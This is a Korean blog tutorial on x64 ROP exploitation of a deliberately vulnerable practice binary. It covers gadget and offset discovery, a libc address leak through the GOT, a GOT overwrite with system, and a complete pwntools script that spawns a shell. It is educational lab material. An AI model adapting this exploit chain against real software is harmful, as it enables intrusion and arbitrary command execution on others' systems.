Hacking/Pwnable

ROP (x64)

GunP4ng 2024. 8. 25. 14:16

ROP (Return Oriented Programming)


1. ROP 

이전 글은 x86 아키텍처에서의 페이로드였다.

x64 아키텍처에서의 페이로드를 알아보자

 

x86 은 함수의 주소 + 가젯 + 인자의 순서였다.

x64 는 가젯 + 인자 + 함수의 주소 순서이다.

 

그리고 x86 아키텍처는 인자를 스택에 저장해서 전달하지만 

x64 는 레지스터로 전달하기 때문에 가젯의 레지스터가 중요하다.

 

2. 익스플로잇 구성

1. 코드 확인

// Name : rop.c
// Compile : gcc -o 64rop 64rop.c -mpreferred-stack-boundary=4 -fno-pic -no-pie -fno-stack-protector

#include <stdio.h>

void tools(){
    asm ( 
        "pop %rdi;"
        "ret;"
        "pop %rsi;"
        "pop %rdx;"
        "ret;"        
    );
}

int main(){
    char buf[100];
    read(0, buf, 300);
    write(1, buf, 100);

    return 0;
}

x86 과 다르게 스택의 크기가 4byte 크기 때문에 read 함수의 입력값을 300으로 늘려주었다.

 

가젯은 찾기 편하게 코드에 추가해주었다.

 

checksec 명령어로 보호기법을 확인해보자

[*] '/home/gunp4ng/pwnable/ROP/64rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Partial RELRO, Nx-bit 보호기법이 걸려있는 것을 알 수 있다.

추가로 ASLR 도 활성화 해두었다.

 

2. 공격 순서

  • write 함수로 read GOT 를 출력하여 read 함수의 실제 주소를 알아낸다.
  • read 함수로  bss 의 주소에 "/bin/sh" 을 저장한다.
  • read 함수로 write GOT 영역에 system 함수의 실제 주소를 저장한다. (GOT Overwrite)
  • write 함수의 인자로 bss 영역("/bin/sh")을 전달하고 호출한다.

 

 

3. 필요한 정보 구하기

1. buf 의 크기 구하기

Dump of assembler code for function main:
   0x0000000000401166 <+0>:     endbr64
   0x000000000040116a <+4>:     push   rbp
   0x000000000040116b <+5>:     mov    rbp,rsp
   0x000000000040116e <+8>:     sub    rsp,0x70
   0x0000000000401172 <+12>:    lea    rax,[rbp-0x70]
   0x0000000000401176 <+16>:    mov    edx,0x12c
   0x000000000040117b <+21>:    mov    rsi,rax
   0x000000000040117e <+24>:    mov    edi,0x0
   0x0000000000401183 <+29>:    mov    eax,0x0
   0x0000000000401188 <+34>:    call   0x401060 <read@plt>
   0x000000000040118d <+39>:    lea    rax,[rbp-0x70]
   0x0000000000401191 <+43>:    mov    edx,0x64
   0x0000000000401196 <+48>:    mov    rsi,rax
   0x0000000000401199 <+51>:    mov    edi,0x1
   0x000000000040119e <+56>:    mov    eax,0x0
   0x00000000004011a3 <+61>:    call   0x401050 <write@plt>
   0x00000000004011a8 <+66>:    mov    eax,0x0
   0x00000000004011ad <+71>:    leave
   0x00000000004011ae <+72>:    ret
End of assembler dump.

main 함수의 어셈블리이다.

 

buf 는 rbp - 0x70 만큼 할당하는 것을 알 수 있다.

buf 의 크기는 0x70 이다.

 

2. 가젯 구하기 (pop rdi, pop rsi, pop rdx ret)

read, write 함수의 인자는 3개이다. 

x64 에서 함수의 인자 전달 순서는 rdi, rsi, rdx, rcx, r8, r9 의 순으로 전달한다.

pop rdi, pop rsi, pop rdx 가젯이 필요하다.

가젯

pop rdi; ret 가젯은 0x40115e 이다.

pop rsi; pop rdx; ret 가젯은 0x401160이다.

 

3.  bss 영역 주소 구하기

bss 주소

bss 영역의 주소는 0x404038 이다.

 

4. system offset 구하기 (read - system)

read, system

read 의 주소는 0x7ffff7e9f7d0 이다.

system 의 주소는 0x7ffff7ddbd70 이다.

 

read - system

read - system 은 0xc3a60 이다.

system offset 은 0xc3a60 이다.

 

 

4. payload 작성

1. read 함수 주소 구하기

e = ELF('./64rop')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

python pwntools 를 이용하여 read GOT 를 간단하게 구할 수 있다.

 

write(1, read GOT, 8) 을 하면 표준 출력으로 read GOT 를 출력하게 된다.

따라서 출력된 값을 가져오면 read 함수의 실제 주소를 얻을 수 있다.

 

buf 의 크기는 0x70 이다.

ret 전인 sfp 까지 덮어씌워야 하기 때문에 8byte 를 더해 0x78 만큼 dummy 값을 입력한다.

# write(1, read GOT, 8)
payload = b'A' * 0x78
payload += p64(pr)
payload += p64(1)
payload += p64(ppr)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_plt)

write 함수로 read GOT 를 출력한다.

 

2. read 함수로 bss 영역에 "/bin/sh" 쓰기

# read(0, bss, 8)
payload += p64(pr)
payload += p64(0)
payload += p64(ppr)
payload += p64(bss)
payload += p64(8)
payload += p64(read_plt)

read(0, bss, 8) 을 하면 bss 영역에 "/bin/sh" 을 쓸 수 있다.

 

3. read 함수로 write GOT 영역에 system 주소 쓰기 (GOT Overwrite)

# read(0, write GOT, 8)
payload += p64(pr)
payload += p64(0)
payload += p64(ppr)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_plt)

read(0, write GOT, 8) 을 하면 write GOT 영역에 값을 쓸 수 있다.

 

write(I"/bin/sh")을 실행시키면 system("/bin/sh") 가 실행되어야 한다.

따라서 write GOT 를 system GOT 로 덮어씌운다.

 

4. write 함수 호출 (system 호출)

# write(bss)
payload += p64(ret)
payload += p64(pr)
payload += p64(bss)
payload += p64(write_plt)

write(bss) 를 호출하면 write 영역에 덮어씌운 system 주소가 실행된다.

인자로 bss 를 전달하면 bss 영역에 저장한 "/bin/sh" 이 전달되어 system("/bin/sh") 이 실행된다.

 

x64 환경에서는 rsp 가 16byte 단위로 끝나야 하기 때문에

ret 가젯을 추가로 넣어 스택 정렬을 맞춰준다.

 

5. system 함수 주소 구하기

read_addr = u64(p.recv()[-8:])
system_addr = read_addr - system_offset

print('read_addr : {}'.format(hex(read_addr)))
print('system_addr : {}'.format(hex(system_addr)))

write 함수로 출력한 read GOT 를 가져온다.

그 다음 system offset 과 뺀 뒤 system_addr 에 저장한다.

 

6. read 함수에 값 전달하기

p.send(b'/bin/sh\x00')
p.send(p64(system_addr))

read 함수로 bss 영역에 "/bin/sh" 을 저장한다.

그 다음 write GOT 영역에 system 함수의 주소를 저장한다.

 

 

5. 최종 페이로드 

1. payload

from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')

p = process('./64rop')
e = ELF('./64rop')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

pr = 0x40115e       # rdi
ppr = 0x401160      # rsi, rdx
ret = 0x40101a
bss = 0x404038
system_offset = 0xc3a60

# write(1, read GOT, 8)
payload = b'A' * 0x78
payload += p64(pr)
payload += p64(1)
payload += p64(ppr)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_plt)

# read(0, bss, 8)
payload += p64(pr)
payload += p64(0)
payload += p64(ppr)
payload += p64(bss)
payload += p64(8)
payload += p64(read_plt)

# read(0, write GOT, 8)
payload += p64(pr)
payload += p64(0)
payload += p64(ppr)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_plt)

# write(bss)
payload += p64(ret)
payload += p64(pr)
payload += p64(bss)
payload += p64(write_plt)

pause()

p.send(payload)

read_addr = u64(p.recv()[-8:])
system_addr = read_addr - system_offset

print('read_addr : {}'.format(hex(read_addr)))
print('system_addr : {}'.format(hex(system_addr)))

p.send(b'/bin/sh\x00')
p.send(p64(system_addr))

p.interactive()

위에서 종합한 정보들로 작성한 payload 이다.

 

셸 획득

실행하면 셸을 획득할 수 있다.